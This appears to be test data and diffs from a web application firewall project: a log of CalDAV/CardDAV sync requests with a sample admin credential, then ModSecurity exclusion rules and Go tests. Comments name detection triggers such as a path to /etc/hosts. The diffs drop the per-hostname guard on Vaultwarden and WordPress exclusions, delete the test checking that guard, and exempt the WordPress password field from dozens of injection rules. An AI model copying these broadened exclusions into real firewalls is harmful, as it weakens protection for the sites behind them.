{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
|
||||||
{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
|
|
||||||
{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
|
|
||||||
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
|
|
||||||
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
|
|
||||||
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
|
|
||||||
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
||||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
@@ -17,13 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
|
|
||||||
# is skipped. Inspect sets tx.app_vaultwarden when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_vaultwarden itself.
|
|
||||||
SecRule &TX:app_vaultwarden "@eq 0" \
|
|
||||||
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
|
||||||
|
|
||||||
# Names and password hints, in JSON bodies, skip the four rules:
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
# name: signing up, editing the account's profile, and creating or renaming
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
# an organization or a group, "python3 .htaccess team"
|
# an organization or a group, "python3 .htaccess team"
|
||||||
@@ -89,5 +82,3 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||||
"id:900153,phase:1,pass,nolog,\
|
"id:900153,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920120;FILES"
|
ctl:ruleRemoveTargetById=920120;FILES"
|
||||||
|
|
||||||
SecMarker END_VAULTWARDEN
|
|
||||||
@@ -7,8 +7,6 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -32,22 +30,7 @@ const vaultwardenEmail = `{"email":"VALUE"}`
|
|||||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// An address for the data breach report, which only Vaultwarden's fixes
|
|
||||||
// let through.
|
|
||||||
report := get(vaultwardenBreachReport + "python3%40example.com")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
|
|||||||
@@ -1,17 +1,10 @@
|
|||||||
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_wordpress when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_wordpress itself.
|
|
||||||
SecRule &TX:app_wordpress "@eq 0" \
|
|
||||||
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -103,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, where a password holds any characters:
|
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||||
# 930120: a password ending in /etc/hosts
|
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
@@ -202,5 +229,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
SecMarker END_WORDPRESS
|
|
||||||
@@ -10,7 +10,6 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
